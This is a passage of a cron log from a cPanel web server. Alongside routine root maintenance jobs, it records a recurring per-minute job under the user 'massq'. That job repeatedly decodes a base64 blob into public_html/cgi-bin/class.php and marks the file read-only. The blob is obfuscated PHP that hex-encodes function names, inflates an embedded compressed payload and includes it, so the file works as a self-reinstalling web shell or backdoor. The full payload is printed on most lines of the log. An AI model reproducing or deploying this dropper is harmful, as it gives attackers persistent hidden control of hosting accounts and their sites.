F9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:30:01 server CROND[14900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:31:01 server CROND[15020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:32:01 server CROND[15074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:33:01 server CROND[15142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:34:01 server CROND[15298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:35:01 server CROND[15353]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:35:01 server CROND[15354]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 19:35:01 server CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:35:01 server CROND[15361]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 19:35:01 server CROND[15364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:36:01 server CROND[15510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:37:01 server CROND[15558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:38:01 server CROND[15617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:39:01 server CROND[15755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 19:39:01 server CROND[15756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:40:01 server CROND[15812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:40:01 server CROND[15814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:40:01 server CROND[15813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:40:01 server CROND[15815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:41:01 server CROND[15919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:42:01 server CROND[15970]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 19:42:01 server CROND[15971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:43:01 server CROND[16023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
